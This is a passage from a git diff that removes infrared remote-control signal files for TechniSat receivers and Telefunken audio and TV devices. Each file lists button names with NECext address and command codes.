parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 3C 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir deleted file mode 100644 index fd3530ae3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_FBPVR335A/10,-1.ir +++ /dev/null @@ -1,254 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 21 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 22 00 00 00 -# -name: KEY_SOUND -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 23 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 26 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 29 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 37 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 3C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 50 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 51 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 55 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 56 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: KEY_QUESTION -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 7D 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 7E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir deleted file mode 100644 index d5b438eed..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3002S/1,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: dek -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_TAB -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: program_plus -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: program_minus -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: lnb -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: deem -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: KEY_DELETE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 21 00 00 00 -# -name: a-b -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: save -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 26 00 00 00 -# -name: audio_plus -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 28 00 00 00 -# -name: audio_minus -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 29 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2C 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir deleted file mode 100644 index f58c8a711..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_ST3004S/1,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: TV/R -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 10 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 24 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 27 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2B 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 35 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir deleted file mode 100644 index 880da41ac..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TECHNISAT/1,-1.ir +++ /dev/null @@ -1,32 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir deleted file mode 100644 index 14933b8b0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI.conf/10,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0D 00 00 00 -# -name: Hilfe -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 10 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 11 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 20 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 22 00 00 00 -# -name: A/B -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 23 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 29 00 00 00 -# -name: SFI -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: EXT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 38 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 3C 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: TV/Radio -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: HILFE2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir deleted file mode 100644 index ca140f2f3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_TTS35AI/10,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 09 00 00 00 -# -name: KEY_102ND -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0A 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0D 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 21 00 00 00 -# -name: KEY_REDO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 22 00 00 00 -# -name: KEY_AB -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 23 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 29 00 00 00 -# -name: KEY_CANCEL -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 2F 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 38 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 3C 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 4F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 52 00 00 00 -# -name: KEY_RADIO -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 53 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 57 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6B 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6D 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 6E 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 0A 00 00 00 -command: 76 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir deleted file mode 100644 index dc9225bb4..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TECHNISAT/Unknown_st-6000e/131,121.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: WEST -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 00 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 01 00 00 00 -# -name: EAST -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 03 00 00 00 -# -name: SKEW- -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 04 00 00 00 -# -name: SKEW+ -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 05 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 06 00 00 00 -# -name: LOCK -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 07 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 08 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 09 00 00 00 -# -name: AUDIO_DE-EMP -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 0A 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 0B 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 0C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 0D 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 0F 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 10 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 11 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 13 00 00 00 -# -name: PRG -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 14 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 15 00 00 00 -# -name: AUDIO_BW -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 16 00 00 00 -# -name: ERASE -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 17 00 00 00 -# -name: AUDIO- -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 18 00 00 00 -# -name: AUDIO+ -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 19 00 00 00 -# -name: POLAR -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 1A 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 1B 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 1C 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 1D 00 00 00 -# -name: IF_BW -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 1F 00 00 00 -# -name: KEY_SAT -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 40 00 00 00 -# -name: POSIT -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 44 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 48 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 4C 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 50 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 54 00 00 00 -# -name: KEY_VIDEO -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 58 00 00 00 -# -name: CLAMP -type: parsed -protocol: NECext -address: 83 79 00 00 -command: 5C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir deleted file mode 100644 index 44587e5d8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/AUDIO_IR3000/0,1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TAPE1_PLAY_BKWD -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 00 00 00 00 -# -name: TAPE1_PLAY_FWD -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 01 00 00 00 -# -name: TAPE1_FWD -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 02 00 00 00 -# -name: TAPE1_REW -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 03 00 00 00 -# -name: TAPE1_STOP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 04 00 00 00 -# -name: TAPE2_BKWD_PLAY -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 05 00 00 00 -# -name: TAPE2_FWD_PLAY -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 06 00 00 00 -# -name: TAPE2_FWD -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 07 00 00 00 -# -name: TUNER_UP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 08 00 00 00 -# -name: TUNER_DOWN -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 09 00 00 00 -# -name: CD_STOP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0A 00 00 00 -# -name: TAPE2_REW -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0B 00 00 00 -# -name: CD_FWD_SKIP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0C 00 00 00 -# -name: CD_BKWD_SKIP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 0F 00 00 00 -# -name: CD_PLAY -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 10 00 00 00 -# -name: TAPE2_STOP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 11 00 00 00 -# -name: TAPE2_BKWD_REC -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 12 00 00 00 -# -name: TAPE2_FWD_REC -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 13 00 00 00 -# -name: TAPE2_REC_MUTE -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 14 00 00 00 -# -name: TUNER_SLEEP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 15 00 00 00 -# -name: TUNER_PRESET_UP -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 17 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 18 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 19 00 00 00 -# -name: TUNER_PRESET_DOWN -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1A 00 00 00 -# -name: KEY_TUNER -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1B 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1C 00 00 00 -# -name: AUX2 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1D 00 00 00 -# -name: KEY_TAPE -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1E 00 00 00 -# -name: AUX1 -type: parsed -protocol: NECext -address: 00 01 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir deleted file mode 100644 index a01006be0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/TELEFUNKEN/TV_1127/7,-1.ir +++ /dev/null @@ -1,122 +0,0 